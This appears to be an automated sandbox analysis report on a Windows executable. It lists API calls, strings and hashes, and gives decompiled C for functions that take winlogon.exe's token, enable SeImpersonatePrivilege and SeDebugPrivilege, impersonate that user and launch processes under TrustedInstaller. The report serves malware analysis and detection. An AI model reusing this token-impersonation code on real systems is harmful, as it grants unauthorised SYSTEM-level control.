0x004021a7
0x004021a9
0x004021ac
0x004021cc
0x004021d1
0x004021d3
0x004021db
0x004021db
0x004021e1
0x004021e1
0x004021e7
0x004021e7
0x00000000
0x00402192
0x004020fe
0x00402103
0x00402105
0x00000000
0x00000000
0x00402111
0x00402114
0x00000000
0x00402114
0x004020ad
0x004020b4
0x004020b9
0x004020bc
0x00000000
0x004020c2
0x004020c4
0x004020ce
0x004020d0
0x004020d3
0x004020d4
0x004020d5
0x004020e6
0x004020e7
0x004020d7
0x004020d7
0x004020dd
0x004020de
0x004020df
0x004020df
0x004020ec
0x004020ef
0x00000000
0x004020ef
0x00402008
0x00402016
0x0040201d
0x0040202e
0x00402035
0x00402044
0x00402049
0x00402055
0x00402064
0x00402068
0x0040206e
0x0040208b
0x00402070
0x00402082
0x00402088
0x0040209e
0x004020a1
0x00402119
0x00402119
0x0040211b
0x0040211e
0x0040211e
0x00402149
0x00402151
0x00402151
0x00402157
0x00402157
0x004022cb
0x004022d2
0x004022d2

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.SECHOST(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

winlogon.exe, xrefs: 00402049, 00402076
ServicesActive, xrefs: 0040216D
TrustedInstaller.exe, xrefs: 0040219C

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

EnumProcesses, xrefs: 0040995B
GetModuleFileNameExW, xrefs: 0040994F
GetModuleBaseNameW, xrefs: 00409937
GetModuleInformation, xrefs: 00409967
EnumProcessModules, xrefs: 00409943
psapi.dll, xrefs: 00409927

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

0x00401f04
0x00401f20
0x00401f27
0x00401f38
0x00401f3f
0x00401f4e
0x00401f54
0x00401f5f
0x00401f6e
0x00401f72
0x00401f77
0x00401f78
0x00401f91
0x00401f7a
0x00401f88
0x00401f8e
0x00401f8e
0x00401fa6
0x00401fa9
0x00401fae
0x00401fb0
0x00401fb2
0x00401fb9
0x00401fc2
0x00401fca
0x00401fd2
0x00401fd2
0x00401fd7
0x00401fd7
0x00401fe3

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80
SeImpersonatePrivilege, xrefs: 00401FB4

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

GetProcessTimes, xrefs: 00409570
kernel32.dll, xrefs: 00409561

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F31, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402F31(void* _a4) {
				void _v530;
				long _v532;
				void* __edi;
				wchar_t* _t15;
				intOrPtr _t18;
				short* _t19;
				void* _t22;
				void* _t29;

				_v532 = _v532 & 0x00000000;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_t15 = wcsrchr( &_v532, 0x2e);
				if(_t15 != 0) {
					 *_t15 =  *_t15 & 0x00000000;
				}
				wcscat( &_v532, L".cfg");
				_t18 =  *0x40fa74; // 0x4101c8
				_t19 = _t18 + 0x5504;
				_t36 =  *_t19;
				_pop(_t29);
				if( *_t19 != 0) {
					E00404923(0x104,  &_v532, _t19);
					_pop(_t29);
				}
				_t22 = E00402FC6(_t29, _t36,  &_v532); // executed
				return _t22;
			}

0x00402f3a
0x00402f51
0x00402f60
0x00402f6f
0x00402f78
0x00402f7a
0x00402f7a
0x00402f8a
0x00402f8f
0x00402f94
0x00402f99
0x00402f9e
0x00402f9f
0x00402fad
0x00402fb2
0x00402fb2
0x00402fbd
0x00402fc5

APIs

memset.MSVCRT ref: 00402F51

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 00402F6F
wcscat.MSVCRT ref: 00402F8A

Strings

.cfg, xrefs: 00402F84

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg
API String ID: 776488737-3410578098
Opcode ID: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction ID: 9e44addaa5645187fa8e636e844442f878cb26b9c6a589516f43c5b5973a5f2a
Opcode Fuzzy Hash: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction Fuzzy Hash: D501487254420C9ADB20E755DD8AFCA73BCEB54314F1008BBA514F61C1D7F8AAC48A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409DDC, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00409DDC(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, WCHAR* _a20) {
				char _v16390;
				short _v16392;
				void* __edi;
				intOrPtr* _t30;
				intOrPtr* _t34;
				signed int _t36;
				signed int _t37;

				_t30 = __ecx;
				E0040B550(0x4004, __ecx);
				_push(0x4000);
				_push(0);
				_v16392 = 0;
				_t34 = _t30;
				_push( &_v16390);
				if(_a4 == 0) {
					memset();
					GetPrivateProfileStringW(_a8, _a12, 0x40c4e8,  &_v16392, 0x2000, _a20); // executed
					asm("sbb esi, esi");
					_t37 =  ~_t36;
					E004051B8( &_v16392, _t34, _a16);
				} else {
					memset();
					E0040512F(_a16,  *_t34,  &_v16392);
					_t37 = WritePrivateProfileStringW(_a8, _a12,  &_v16392, _a20);
				}
				return _t37;
			}

0x00409ddc
0x00409de4
0x00409df0
0x00409df5
0x00409df6
0x00409e03
0x00409e05
0x00409e06
0x00409e3b
0x00409e5d
0x00409e6a
0x00409e73
0x00409e75
0x00409e08
0x00409e08
0x00409e19
0x00409e37
0x00409e37
0x00409e81

APIs

memset.MSVCRT ref: 00409E08

Part of subcall function 0040512F: _snwprintf.MSVCRT ref: 00405174
Part of subcall function 0040512F: memcpy.MSVCRT ref: 00405184

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409E31
memset.MSVCRT ref: 00409E3B
GetPrivateProfileStringW.KERNEL32(?,?,0040C4E8,?,00002000,?), ref: 00409E5D

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction ID: edc1d82326a177a4eed1c31c26edb3d60bf211bedf20f6070ddf32627235df0d
Opcode Fuzzy Hash: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction Fuzzy Hash: A9117071500119AFDF11AF64DD06E9E7BA9EF04704F1000BAFB05B6191E7319E608BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00404951
0x00404952
0x00404956
0x004049a1
0x00404958
0x00404959
0x0040495b
0x0040495b
0x0040495f
0x00404961
0x00404963
0x0040496d
0x00404975
0x00404977
0x0040497b
0x00404985
0x0040498a
0x0040498e
0x00404993
0x0040499d
0x0040499d

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E82, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00409EA9

Part of subcall function 00409D12: memset.MSVCRT ref: 00409D31
Part of subcall function 00409D12: _itow.MSVCRT ref: 00409D48
Part of subcall function 00409D12: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00409D57

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction ID: 9cbd54488ddde29c65bb9f464d3594e5c231a9cc3fc51dd6b87f783e4d357368
Opcode Fuzzy Hash: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction Fuzzy Hash: CDE0B632000209FFDF125F80EC01AAA3B66FF14315F648569F95814171D33799B0EF88

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

